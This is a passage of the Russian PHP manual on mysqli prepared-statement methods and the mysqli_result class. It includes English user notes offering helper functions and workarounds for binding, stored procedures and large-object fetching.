$stmt = mysqli_stmt_init($link);
mysqli_stmt_prepare($stmt, "SELECT District FROM City WHERE Name=?");

/* Связываем переменные с метками */
mysqli_stmt_bind_param($stmt, "s", $city);

/* Выполняем запрос */
mysqli_stmt_execute($stmt);

/* Связываем переменные результата */
mysqli_stmt_bind_result($stmt, $district);

/* Получаем значение */
mysqli_stmt_fetch($stmt);

printf("%s находится в районе %s\n", $city, $district);

Результат выполнения данных примеров:

Amersfoort находится в районе Utrecht

Смотрите также

  • mysqli_stmt_init() - Инициализирует запрос и возвращает объект для использования в mysqli_stmt_prepare
  • mysqli_stmt_execute() - Выполняет подготовленное утверждение
  • mysqli_stmt_fetch() - Связывает результаты подготовленного выражения с переменными
  • mysqli_stmt_bind_param() - Привязка переменных к параметрам подготавливаемого запроса
  • mysqli_stmt_bind_result() - Привязка переменных к подготовленному запросу для размещения результата
  • mysqli_stmt_get_result() - Получает результат из подготовленного запроса в виде объекта mysqli_result
  • mysqli_stmt_close() - Закрывает подготовленный запрос

User Contributed Notes

logos-php at kith dot orgpp 23-Mar-2012 05:34
Turns out you can't directly use a prepared statement for a query that has a placeholder in an IN() clause.

There are ways around that (such as constructing a string that consists of n question marks separated by commas, then using that set of placeholders in the IN() clause), but you can't just say IN (?).

This is a MySQL restriction rather than a PHP restriction, but it's not really documented in the MySQL docs either, so I figured it was worth mentioning here.

(Btw, turns out someone else had previously posted the info that I put in my previous comment, about not using quotation marks. Sorry for the repeat; not sure how I missed the earlier comment.)
logos-php at kith dot org 23-Mar-2012 07:06
Note that if you're using a question mark as a placeholder for a string value, you don't surround it with quotation marks in the MySQL query.

For example, do this:

mysqli_stmt_prepare($stmt, "SELECT * FROM foo WHERE foo.Date > ?");

Do not do this:

mysqli_stmt_prepare($stmt, "SELECT * FROM foo WHERE foo.Date > '?'");

If you put quotation marks around a question mark in the query, then PHP doesn't recognize the question mark as a placeholder, and then when you try to use mysqli_stmt_bind_param(), it gives an error to the effect that you have the wrong number of parameters.

The lack of quotation marks around a string placeholder is implicit in the official example on this page, but it's not explicitly stated in the docs, and I had trouble figuring it out, so figured it was worth posting.
ndungi at gmail dot com 22-Apr-2009 02:25
The `prepare` , `bind_param`, `bind_result`, `fetch` result, `close` stmt cycle can be tedious at times. Here is an object that does all the mysqli mumbo jumbo for you when all you want is a select leaving you to the bare essential `preparedSelect` on a prepared stmt. The method returns the result set as a 2D associative array with the `select`ed columns as keys. I havent done sufficient error-checking and it also may have some bugs. Help debug and improve on it.

I used the bible.sql db from http://www.biblesql.net/sites/biblesql.net/files/bible.mysql.gz.

Baraka tele!

============================

<?php

class DB
{
    public $connection;

    #establish db connection
    public function __construct($host="localhost", $user="user", $pass="", $db="bible")
    {
        $this->connection = new mysqli($host, $user, $pass, $db);

        if(mysqli_connect_errno())
        {
            echo("Database connect Error : "
            . mysqli_connect_error($mysqli));
        }
    }

    #store mysqli object
    public function connect()
    {
        return $this->connection;
    }

    #run a prepared query
    public function runPreparedQuery($query, $params_r)
    {
        $stmt = $this->connection->prepare($query);
        $this->bindParameters($stmt, $params_r);

        if ($stmt->execute()) {
            return $stmt;
        } else {
            echo("Error in $statement: "
                      . mysqli_error($this->connection));
            return 0;
        }

    }

 # To run a select statement with bound parameters and bound results.
 # Returns an associative array two dimensional array which u can easily
 # manipulate with array functions.

    public function preparedSelect($query, $bind_params_r)
    {
        $select = $this->runPreparedQuery($query, $bind_params_r);
        $fields_r = $this->fetchFields($select);

        foreach ($fields_r as $field) {
            $bind_result_r[] = &${$field};
        }

        $this->bindResult($select, $bind_result_r);

        $result_r = array();
        $i = 0;
        while ($select->fetch()) {
            foreach ($fields_r as $field) {
                $result_r[$i][$field] = $$field;
            }
            $i++;
        }
        $select->close();
        return $result_r;
    }

    #takes in array of bind parameters and binds them to result of
    #executed prepared stmt

    private function bindParameters(&$obj, &$bind_params_r)
    {
        call_user_func_array(array($obj, "bind_param"), $bind_params_r);
    }

    private function bindResult(&$obj, &$bind_result_r)
    {
        call_user_func_array(array($obj, "bind_result"), $bind_result_r);
    }

    #returns a list of the selected field names

    private function fetchFields($selectStmt)
    {
        $metadata = $selectStmt->result_metadata();
        $fields_r = array();
        while ($field = $metadata->fetch_field()) {
            $fields_r[] = $field->name;
        }

        return $fields_r;
    }
}
#end of class

#An example of the DB class in use

$DB = new DB("localhost", "root", "", "bible");
$var = 5;
$query = "SELECT abbr, name from books where id > ?" ;
$bound_params_r = array("i", $var);

$result_r = $DB->preparedSelect($query, $bound_params_r);

#loop thru result array and display result

foreach ($result_r as $result) {
    echo $result['abbr'] . " : " . $result['name'] . "<br/>" ;
}

?>
kontakt at arthur minus schiwon dot de 16-Jun-2008 07:22
If you wrap the placeholders with quotation marks you will experience warnings like "Number of variables doesn't match number of parameters in prepared statement" (at least with INSERT Statements).
mhradek AT gmail.com 15-May-2008 04:06
A particularly helpful adaptation of this function and the call_user_func_array function:

// $params is sent as array($val=>'i', $val=>'d', etc...)

function db_stmt_bind_params($stmt, $params)
{
    $funcArg[] = $stmt;
    foreach($params as $val=>$type)
    {
        $funcArg['type'] .= $type;
        $funcArg[] = $val;
    }
    return call_user_func_array('mysqli_stmt_bind_param', $funcArgs);
}

Thanks to 'sned' for the code.
lukaszNOSPAMPLEASE at epas dot pl 15-Jan-2008 07:15
i've got some bad news for you guys if you haven't found out already.
the trick with mysqli_next_result() only prevents having the connection dropped after a stored procedure call.
apparently you can bind parameters for a prepared stored procedure call, but you'll get messed up records from mysqli_stmt_fetch() after mysqli_stmt_bind_result(), at least when the stored procedure itself contains a prepared statement.
a way to avoid data corruption could be specifying the CLIENT_MULTI_STATEMENTS flag in mysqli_real_connect(), if it wasn't disabled entirely (for security reasons, as they say). another option is to use mysqli_multi_query(), but then you can't bind at all.
st dot john dot johnson at gmail dot com 04-Jun-2007 08:59
In reference to what lachlan76 said before, stored procedures CAN be executed through prepared statements as long as you tell the DB to move to the next result before executing again.

Example (Five calls to a stored procedure):

<?php
for ($i=0;$i<5;$i++) {
  $statement = $mysqli->stmt_init();
  $statement->prepare("CALL some_procedure( ? )");

  // Bind, execute, and bind.
  $statement->bind_param("i", 1);
  $statement->execute();
  $statement->bind_result($results);

  while($statement->fetch()) {
    // Do what you want with your results.
  }

  $statement->close();

  // Now move the mysqli connection to a new result.
  while($mysqli->next_result()) { }
}
?>

If you include the last statement, this code should execute without the nasty "Commands out of sync" error.
lachlan76 at gmail dot com 28-Nov-2006 08:59
Do not try to use a stored procedure through a prepared statement.

Example:

<?php
$statement = $mysqli->stmt_init();
$statement->prepare("CALL some_procedure()");
?>

If you attempt to do this, it will fail by dropping the connection during the next query.  Use mysqli_multi_query instead.

Example:

<?php
$mysqli->multi_query("CALL some_procedure()");
do
{
  $result = $mysqli->store_result();

   // Do your processing work here

  $result->free();
} while($mysqli->next_result());
?>

This means that you cannot bind parameters or results, however.
andrey at php dot net 07-Oct-2005 05:35
If you select LOBs use the following order of execution or you risk mysqli allocating more memory that actually used

1)prepare()
2)execute()
3)store_result()
4)bind_result()

If you skip 3) or exchange 3) and 4) then mysqli will allocate memory for the maximal length of the column which is 255 for tinyblob, 64k for blob(still ok), 16MByte for MEDIUMBLOB - quite a lot and 4G for LONGBLOB (good if you have so much memory). Queries which use this order a bit slower when there is a LOB but this is the price of not having memory exhaustion in seconds.


Сбрасывает результаты выполнения подготовленного запроса

  • « mysqli_stmt::prepare
  • mysqli_stmt::result_metadata »
  • PHP Manual
  • mysqli_stmt
  • Сбрасывает результаты выполнения подготовленного запроса

mysqli_stmt::reset

mysqli_stmt_reset

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::reset -- mysqli_stmt_reset — Сбрасывает результаты выполнения подготовленного запроса

Описание

Объектно-ориентированный стиль

public mysqli_stmt::reset(): bool

Процедурный стиль

mysqli_stmt_reset(mysqli_stmt $statement): bool

Сбрасывает результаты выполнения подготовленного запроса на клиенте и на сервере и переводит запрос в состояние, как после подготовки.

Сбрасывает запрос на сервере, а также данные, переданные на сервер функцией mysqli_stmt_send_long_data(), очищает буфер результатов запроса и текущие ошибки. Функция не удаляет привязки параметров запроса, а также переданные на клиента результирующие наборы. Содержащиеся на клиенте результирующие наборы будут очищены при следующем выполнении запроса (или его закрытии).

Для подготовки запроса с другим SQL-текстом, используйте функцию mysqli_stmt_prepare().

Список параметров

stmt

Только для процедурного стиля: объект mysqli_stmt, который вернула функция mysqli_stmt_init().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • mysqli_prepare() - Подготавливает SQL выражение к выполнению

User Contributed Notes

There are no user contributed notes for this page.


Возвращает метаданные результирующей таблицы подготавливаемого запроса

  • « mysqli_stmt::reset
  • mysqli_stmt::send_long_data »
  • PHP Manual
  • mysqli_stmt
  • Возвращает метаданные результирующей таблицы подготавливаемого запроса

mysqli_stmt::result_metadata

mysqli_stmt_result_metadata

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::result_metadata -- mysqli_stmt_result_metadata — Возвращает метаданные результирующей таблицы подготавливаемого запроса

Описание

Объектно-ориентированный стиль

public mysqli_stmt::result_metadata(): mysqli_result|false

Процедурный стиль

mysqli_stmt_result_metadata(mysqli_stmt $statement): mysqli_result|false

Если запрос, переданный в mysqli_prepare(), генерирует результирующую таблицу, mysqli_stmt_result_metadata() возвращает объект, с помощью которого можно получить описание этого результирующего набора. В частности, можно получить количество полей и описание каждого отдельного поля.

Замечание:

Полученный объектный указатель можно передавать в качестве аргумента в функции обработки метаданных результирующих таблиц, как например:

  • mysqli_num_fields()

  • mysqli_fetch_field()

  • mysqli_fetch_field_direct()

  • mysqli_fetch_fields()

  • mysqli_field_count()

  • mysqli_field_seek()

  • mysqli_field_tell()

  • mysqli_free_result()

После завершения работы с этим объектом, занимаемую им память необходимо освободить. Сделать это можно, передав объектный указатель в функцию mysqli_free_result().

Замечание:

Результирующий набор, возвращаемый из mysqli_stmt_result_metadata(), содержит только метаданные. В нем не будет строк выборки. Результаты запроса можно получить с помощью функции mysqli_stmt_fetch().

Список параметров

stmt

Только для процедурного стиля: объект mysqli_stmt, который вернула функция mysqli_stmt_init().

Возвращаемые значения

Возвращает объект или false случае возникновения ошибки.

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

$mysqli->query("DROP TABLE IF EXISTS friends");
$mysqli->query("CREATE TABLE friends (id int, name varchar(20))");

$mysqli->query("INSERT INTO friends VALUES (1,'Hartmut'), (2, 'Ulf')");

$stmt = $mysqli->prepare("SELECT id, name FROM friends");
$stmt->execute();

/* получаем результирующий набор метаданных */
$result = $stmt->result_metadata();

/* извлекаем информацию о столбце из метаданных */
$field = $result->fetch_field();

printf("Имя столбца: %s\n", $field->name);

/* закрываем результирующий набор */
$result->close();

/* закрываем подключение */
$mysqli->close();
?>

Пример #2 Процедурный стиль

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

mysqli_query($link, "DROP TABLE IF EXISTS friends");
mysqli_query($link, "CREATE TABLE friends (id int, name varchar(20))");

mysqli_query($link, "INSERT INTO friends VALUES (1,'Hartmut'), (2, 'Ulf')");

$stmt = mysqli_prepare($link, "SELECT id, name FROM friends");
mysqli_stmt_execute($stmt);

/* получаем результирующий набор метаданных */
$result = mysqli_stmt_result_metadata($stmt);

/* извлекаем информацию о столбце из метаданных */
$field = mysqli_fetch_field($result);

printf("Имя столбца: %s\n", $field->name);

/* закрываем результирующий набор */
mysqli_free_result($result);

/* закрываем подключение */
mysqli_close($link);
?>

Смотрите также

  • mysqli_prepare() - Подготавливает SQL выражение к выполнению
  • mysqli_free_result() - Освобождает память, занятую результатами запроса

User Contributed Notes

potherca at gmail dot com 15-Apr-2010 12:52
If result_metadata() returns false but error/errno/sqlstate tells you no error occurred, this means your query is one that does not produce a result set, i.e. an INSERT/UPDATE/DELETE query instead of a SELECT query.

This is stated in the documentation where it says "If a statement passed to mysqli_prepare() is one that produces a result set, mysqli_stmt_result_metadata() returns the result object", but it might not be clear to everyone what this entails exactly.

Hope this helps.


Отправка данных блоками

  • « mysqli_stmt::result_metadata
  • mysqli_stmt::$sqlstate »
  • PHP Manual
  • mysqli_stmt
  • Отправка данных блоками

mysqli_stmt::send_long_data

mysqli_stmt_send_long_data

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::send_long_data -- mysqli_stmt_send_long_data — Отправка данных блоками

Описание

Объектно-ориентированный стиль

public mysqli_stmt::send_long_data(int $param_num, string $data): bool

Процедурный стиль

mysqli_stmt_send_long_data(mysqli_stmt $statement, int $param_num, string $data): bool

Позволяет пересылать данные параметра на сервер частями (или чанками), например, когда размер большого объекта (blob) превышает max_allowed_packet. Эту функцию можно запускать многократно, чтобы переслать части символьных или двоичных данных столбца. Данные в столбце должны иметь тип TEXT или BLOB.

Список параметров

stmt

Только для процедурного стиля: объект mysqli_stmt, который вернула функция mysqli_stmt_init().

param_num

Указывает, с каким параметром связаны данные. Параметры нумеруются с нуля.

data

Строка, содержащая пересылаемые данные.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php
$stmt = $mysqli->prepare("INSERT INTO messages (message) VALUES (?)");
$null = NULL;
$stmt->bind_param("b", $null);
$fp = fopen("messages.txt", "r");
while (!feof($fp)) {
$stmt->send_long_data(0, fread($fp, 8192));
}
fclose($fp);
$stmt->execute();
?>

Смотрите также

  • mysqli_prepare() - Подготавливает SQL выражение к выполнению
  • mysqli_stmt_bind_param() - Привязка переменных к параметрам подготавливаемого запроса

User Contributed Notes

DimeCadmium 21-Feb-2021 12:50
To ChrisH's note, you must call this function multiple times with the same $param_nr, to send the first max_allowed_packet bytes, then the next, and so on. So you might need to do a for loop over changing substr() indexes, or etc.
ChrisH 28-Nov-2019 12:40
If you are trying to write a single field which is above max_allowed_packet then this function will not help you (contrary to what the documentation example seems to show above).

Parameters in MySQL are still restricted by max_allowed_packet on a per-field basis so you will get an error like:

"mysqli_sql_exception: Parameter of prepared statement which is set through mysql_send_long_data() is longer than 'max_long_data_size' bytes"

The only real use case for this function seems to be if you are writing multiple long fields which when combined would go over max_allowed_packet.
Gustavo Narea 16-May-2006 07:00
Just in case:

'max_allowed_packet' is a MySQL variable; it is not a PHP function/variable/constant.

Further info: http://dev.mysql.com/doc/refman/4.1/en/packet-too-large.html

HTH.
lussnig at smcc dot de 26-Oct-2005 07:31
send_long_data() these function is normaly used to store Data in Binary blob field. But if the table is UTF8 and connection charset it does not expect binary data (for example images) it take utf8 Data.
This mean you have to do utf8_encode bevore sending binary data.


Возвращает код ошибки SQLSTATE, вызванной в ходе выполнения последней операции над запросом

  • « mysqli_stmt::send_long_data
  • mysqli_stmt::store_result »
  • PHP Manual
  • mysqli_stmt
  • Возвращает код ошибки SQLSTATE, вызванной в ходе выполнения последней операции над запросом

mysqli_stmt::$sqlstate

mysqli_stmt_sqlstate

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::$sqlstate -- mysqli_stmt_sqlstate — Возвращает код ошибки SQLSTATE, вызванной в ходе выполнения последней операции над запросом

Описание

Объектно-ориентированный стиль

string $mysqli_stmt->sqlstate;

Процедурный стиль

mysqli_stmt_sqlstate(mysqli_stmt $statement): string

Возвращает строку содержащую код SQLSTATE ошибки, вызванной в результате выполнения последней операции над запросом, которая может завершаться успешно или неуспешно. Этот код состоит из пяти символов. '00000' означает отсутствие ошибок. Значения этого кода определены в стандарте ANSI SQL, а также в ODBC. Полный список возможных кодов можно посмотреть на странице » http://dev.mysql.com/doc/mysql/en/error-handling.html.

Список параметров

stmt

Только для процедурного стиля: объект mysqli_stmt, который вернула функция mysqli_stmt_init().

Возвращаемые значения

Возвращает строку, содержащую код ошибки SQLSTATE последней совершенной операции. Этот код состоит из пяти символов. '00000' означает отсутствие ошибок.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php
/* Открываем соединение */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* Проверяем соединение */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

$mysqli->query("CREATE TABLE myCountry LIKE Country");
$mysqli->query("INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = $mysqli->prepare($query)) {

/* удаляем таблицу */
$mysqli->query("DROP TABLE myCountry");

/* выполняем запрос */
$stmt->execute();

printf("Ошибка: %s.\n", $stmt->sqlstate);

/* закрываем запрос */
$stmt->close();
}

/* закрываем соединение */
$mysqli->close();
?>

Пример #2 Процедурный стиль

<?php
/* Открываем соединение */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* Проверяем соединение */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

mysqli_query($link, "CREATE TABLE myCountry LIKE Country");
mysqli_query($link, "INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = mysqli_prepare($link, $query)) {

/* удаляем таблицу */
mysqli_query($link, "DROP TABLE myCountry");

/* выполняем запрос */
mysqli_stmt_execute($stmt);

printf("Ошибка: %s.\n", mysqli_stmt_sqlstate($stmt));

/* закрываем запрос */
mysqli_stmt_close($stmt);
}

/* закрываем соединение */
mysqli_close($link);
?>

Результат выполнения данных примеров:

Ошибка: 42S02.

Примечания

Замечание:

Следует отметить, что ещё не все ошибки MySQL имеют отражение в кодах SQLSTATE. Для таких ошибок используется общий код HY000 (общая ошибка).

Смотрите также

  • mysqli_stmt_errno() - Возвращает код ошибки выполнения последнего запроса
  • mysqli_stmt_error() - Возвращает строку с пояснением последней ошибки при выполнении запроса

User Contributed Notes

There are no user contributed notes for this page.


Сохраняет набор результатов во внутреннем буфере

  • « mysqli_stmt::$sqlstate
  • mysqli_result »
  • PHP Manual
  • mysqli_stmt
  • Сохраняет набор результатов во внутреннем буфере

mysqli_stmt::store_result

mysqli_stmt_store_result

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::store_result -- mysqli_stmt_store_result — Сохраняет набор результатов во внутреннем буфере

Описание

Объектно-ориентированный стиль

public mysqli_stmt::store_result(): bool

Процедурный стиль

mysqli_stmt_store_result(mysqli_stmt $statement): bool

Функцию следует вызывать для запросов, которые успешно создают набор результатов (например, SELECT, SHOW, DESCRIBE, EXPLAIN), только если необходимо буферизовать в PHP полный набор результатов. Каждый последующий вызов mysqli_stmt_fetch() будет возвращать буферизованные данные.

Замечание:

В остальных случаях вызывать mysqli_stmt_store_result() нет необходимости. Но если такой вызов совершён, ничего страшного не случится, это не повлияет на производительность и целостность данных. Чтобы убедиться, что запрос вернул результирующий набор, можно воспользоваться функцией mysqli_stmt_result_metadata(), которая в этом случае вернёт false.

Список параметров

stmt

Только для процедурного стиля: объект mysqli_stmt, который вернула функция mysqli_stmt_init().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY Name LIMIT 20";
$stmt = $mysqli->prepare($query);
$stmt->execute();

/* сохранение результата во внутреннем буфере */
$stmt->store_result();

printf("Число строк: %d.\n", $stmt->num_rows);

Пример #2 Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY Name LIMIT 20";
$stmt = mysqli_prepare($link, $query);
mysqli_stmt_execute($stmt);

/* сохранение результата во внутреннем буфере */
mysqli_stmt_store_result($stmt);

printf("Число строк: %d.\n", mysqli_stmt_num_rows($stmt));
?>

Результат выполнения данных примеров:

Количество строк: 20.

Смотрите также

  • mysqli_prepare() - Подготавливает SQL выражение к выполнению
  • mysqli_stmt_result_metadata() - Возвращает метаданные результирующей таблицы подготавливаемого запроса
  • mysqli_stmt_fetch() - Связывает результаты подготовленного выражения с переменными

User Contributed Notes

kitlum AT ukr DOT net 26-Jun-2015 10:18
Lost some hours to find out how to save multirows result of mysqli_stmt to array, when get_result prohibited.
Idea, which works is using store_result
            $stmt=$this->mysqli->prepare("SELECT surname, name, user_id, last_m_own, last_m_str, role FROM users WHERE referer_id=(?)");
                $stmt->bind_param('i',$referer_id);
                $stmt->execute();
                $stmt->store_result();
                $stmt->bind_result($ans['surname'], $ans['name'], $ans['user_id'], $ans['last_m_own'], $ans['last_m_str'], $ans['role']);
                $j=$stmt->num_rows;
                for ($i=0;$i<$j;$i++){
                    $stmt->data_seek($i);
                    $stmt->fetch();
                    foreach ($ans as $key=>$value){
                        $result[$i][$key]=$value;
                    }
                }
Hope will helpful for such newbies as me
pcc at pccglobal dot com 30-Jul-2010 04:16
When using prepare to prepare a statement to retrieve LOBs the method order matters.
Also, method 'store_result()' must be called and be called in correct order.
Failure to observe this causes PHP/MySQLi to crash or return an erroneous value.
The proper procedure order is: prepare -> execute -> store_result -> bind -> fetch
The following applies to a Windows SBS server running IIS/6.0 + PHP 5.2.1
MySQL server version 5.0.26-community-nt, client version 5.0.51a

<?php
$database = "test" ;
$table = "test" ;
$column = "flongblob" ;
$mysqli = new mysqli("localhost", "root", "<secret_password>", $database);
// Proper procedure order: prepare -> execute -> store_result -> bind -> fetch
$stmt = $mysqli->prepare("SELECT `$column` FROM `$table`") ;
$stmt->execute();
$stmt->store_result();
// Fetch a record. Bind the result to a variable called 'value' and fetch.
$stmt->bind_result($value) ;
$res = $stmt->fetch() ;
if($res)
{
  // strlen($value) should have LOB length, not 1 or zero.
  echo "$column data length is " . strlen($value) . " bytes.\n" ;
}
else
{
  echo ((false !== $res) ? "End of data" : $stmt->error) . "\n" ;
  break ;
}
// Fetch another record.
$res = $stmt->fetch() ;
if($res)
{
  // strlen($value) should have LOB length, not 1 or zero.
  echo "$column data length is " . strlen($value) . " bytes.\n" ;
}
else
{
  echo ((false !== $res) ? "End of data" : $stmt->error) . "\n" ;
  break ;
}
$stmt->close() ;
$mysqli->close() ;
exit ;
?>

The above example should output:
  flongblob data length is 932353 bytes.
  flongblob data length is 867300 bytes.

If wrong procedure order MySQLi crashes or outputs:
  flongblob data length is 0 bytes.
  flongblob data length is 867300 bytes.
neromir at hotmail dot com 28-Oct-2008 07:14
The wording above, in the initial description of the function, can be confusing (quoted below).

"You must call mysqli_stmt_store_result() for every query that successfully produces a result set (SELECT, SHOW, DESCRIBE, EXPLAIN), and only if you want to buffer the complete result set by the client, so that the subsequent mysqli_stmt_fetch() call returns buffered data. "

I had initially understood the part saying "and only if you want to buffer..." to mean that it was only necessary to call this function if you wanted to buffer the result set.  This, however, is not the case, and the misunderstanding caused me quite a bit of grief.

So, to clarify for anyone suffering from the same misunderstanding, you ALWAYS must call this function for every query that produces a result set (as listed in the parentheses of the quote above), as far as I can tell.
Typer85 at gmail dot com 27-Dec-2006 03:58
In response to the note below me for the claim that mysqli_fetch_fields is not compatible with prepared statements.

This is untrue, it is but you have to do a little extra work. I would recommend you use a wrapper function of some sort to take care of the dirty business for you but the basic idea is the same.

Let's assume you have a prepared statement like so. I am going to use the procedural way for simplicity but the same idea can be done using the object oriented way:

<?php

// Connect Blah Blah Blah.

$connectionLink = mysqli_connect( .... );

// Query Blab Blah Blah.

$query = "Select `Id` From `Table` Where `Id` = ?";

// Prepare Query.

$prepareObject = mysqli_prepare( $connectionLink , $query );

// Bind Query.

mysqli_stmt_bind_param( $prepareObject , 'i' , 1 );

// Execute Query.

mysqli_stmt_execute( $prepareObject );

?>

Now all the above is fine and dandy to anyone familiar with using prepared statements, but if I want to use mysqli_fetch_fields or any other function that fetches meta information about a result set but does not work on prepared statements?

Enter the special function mysqli_stmt_result_metadata. It can be used as follows, assume the following code segment immediatley follows that of the above code segment.

<?php

$metaData = mysqli_stmt_result_metadata( $prepareObject );

// I Can Now Call mysqli_fetch_fields using the variable
// $metaData as an argument.

$fieldInfo = mysqli_fetch_fields( $metaData );

// Or Even This.

$fieldInfo = mysqli_num_fields( $metaData );

?>

Take a look at the Manual entry for mysqli_stmt_result_metatdata function for full details on how to expose it with prepared statements.

Good Luck,
UCFirefly (at) yahoo.com 20-Feb-2006 12:25
fetch_fields() does not seem to be compatible with prepared statements like those used here. Makes things difficult if you're using a wildcard. I guess that's better for security in some obscure way.


Класс mysqli_result

(PHP 5, PHP 7, PHP 8)

Введение

Представляет результирующий набор, полученный из запроса в базу данных.

Обзор классов

class mysqli_result implements IteratorAggregate {
/* Свойства */
public readonly int $current_field;
public readonly int $field_count;
public readonly ?array $lengths;
public readonly int|string $num_rows;
public int $type;
/* Методы */
public __construct(mysqli $mysql, int $result_mode = MYSQLI_STORE_RESULT)
public data_seek(int $offset): bool
public fetch_all(int $mode = MYSQLI_NUM): array
public fetch_array(int $mode = MYSQLI_BOTH): array|null|false
public fetch_assoc(): array|null|false
public fetch_column(int $column = 0): null|int|float|string|false
public fetch_field_direct(int $index): object|false
public fetch_field(): object|false
public fetch_fields(): array
public fetch_object(string $class = "stdClass", array $constructor_args = []): object|null|false
public fetch_row(): array|null|false
public field_seek(int $index): bool
public free(): void
public close(): void
public free_result(): void
public getIterator(): Iterator
}

Свойства

type

Сохраняет буферизованный или небуферизованный результат в виде целого числа (int) (MYSQLI_STORE_RESULT или MYSQLI_USE_RESULT соответственно).

Список изменений

Версия | Описание
8.0.0 | Класс mysqli_result теперь реализует интерфейс IteratorAggregate. Ранее вместо него был реализован интерфейс Traversable.

Содержание

  • mysqli_result::__construct — Конструктор объекта mysqli_result
  • mysqli_result::$current_field — Получает смещение указателя по отношению к текущему полю
  • mysqli_result::data_seek — Перемещает указатель результата на выбранную строку
  • mysqli_result::fetch_all — Выбирает все строки из результирующего набора и помещает их в ассоциативный массив, обычный массив или в оба
  • mysqli_result::fetch_array — Выбирает следующую строку из набора результатов и помещает её в ассоциативный массив, обычный массив или в оба
  • mysqli_result::fetch_assoc — Выбирает следующую строку из набора результатов и помещает её в ассоциативный массив
  • mysqli_result::fetch_column — Получает один столбец из следующей строки набора результатов
  • mysqli_result::fetch_field_direct — Получение метаданных конкретного поля
  • mysqli_result::fetch_field — Возвращает следующее поле результирующего набора
  • mysqli_result::fetch_fields — Возвращает массив объектов, представляющих поля результирующего набора
  • mysqli_result::fetch_object — Выбирает следующую строку из набора результатов в виде объекта
  • mysqli_result::fetch_row — Выбирает следующую строку из набора результатов и помещает её в обычный массив
  • mysqli_result::$field_count — Получает количество полей в наборе результатов
  • mysqli_result::field_seek — Установить указатель поля на определённое смещение
  • mysqli_result::free — Освобождает память, занятую результатами запроса
  • mysqli_result::getIterator — Извлекает внешний итератор
  • mysqli_result::$lengths — Возвращает длины полей текущей строки результирующего набора
  • mysqli_result::$num_rows — Получает количество строк в наборе результатов

User Contributed Notes

Cem Kayali / cemkayali(a)eticaret.com.tr 28-Sep-2018 02:20
Switching from Php5 to Php7, especially if you have worked on an ongoing, long term project, it is unfortunate that there is no mysqli_result function.

So, this may be helpfull and you can call this function as you wish. I assume you do restricted search (searching for single row or few rows only).

function mysqli_result($search, $row, $field){
$i=0; while($results=mysqli_fetch_array($search)){
if ($i==$row){$result=$results[$field];}
$i++;}
return $result;}

Simply;

$search=mysqli_query($connection, "select name from table_name where id='7'");
$name=mysqli_result($search, 0, "id");

Best wishes,
marcus at synchromedia dot co dot uk 26-Aug-2015 03:28
If you're using the iterator interface on a result instance ($r), like this:

    foreach ($r as $d) {

the iterated value ($d) is an associative-only array, i.e. it's the same as doing this:

    while ($d = $r->fetch_assoc()) {

and NOT like this:

    while ($d = $r->fetch_row()) {

so you can't access row elements by numeric index ($d[0] etc) if you use the foreach syntax.
Marc17 26-Jan-2014 04:50
An "mysqli_result" function where $field can be like table_name.field_name with alias or not.
<?php
function mysqli_result($result,$row,$field=0) {
    if ($result===false) return false;
    if ($row>=mysqli_num_rows($result)) return false;
    if (is_string($field) && !(strpos($field,".")===false)) {
        $t_field=explode(".",$field);
        $field=-1;
        $t_fields=mysqli_fetch_fields($result);
        for ($id=0;$id<mysqli_num_fields($result);$id++) {
            if ($t_fields[$id]->table==$t_field[0] && $t_fields[$id]->name==$t_field[1]) {
                $field=$id;
                break;
            }
        }
        if ($field==-1) return false;
    }
    mysqli_data_seek($result,$row);
    $line=mysqli_fetch_array($result);
    return isset($line[$field])?$line[$field]:false;
}
?>
tuxedobob 20-Aug-2012 09:35
Converting an old project from using the mysql extension to the mysqli extension, I found the most annoying change to be the lack of a corresponding mysql_result function in mysqli. While mysql_result is a generally terrible function, it was useful for fetching a single result field *value* from a result set (for example, if looking up a user's ID).

The behavior of mysql_result is approximated here, though you may want to name it something other than mysqli_result so as to avoid thinking it's an actual, built-in function.

<?php
function mysqli_result($res, $row, $field=0) {
    $res->data_seek($row);
    $datarow = $res->fetch_array();
    return $datarow[$field];
}
?>

Implementing it via the OO interface is left as an exercise to the reader.
sinisaculic at gmail dot com 21-Oct-2010 01:58
storing this object in ANY kind will result in storing an empty object... if you try to serialize it dump it or do anything with it you will end up with a empty object.

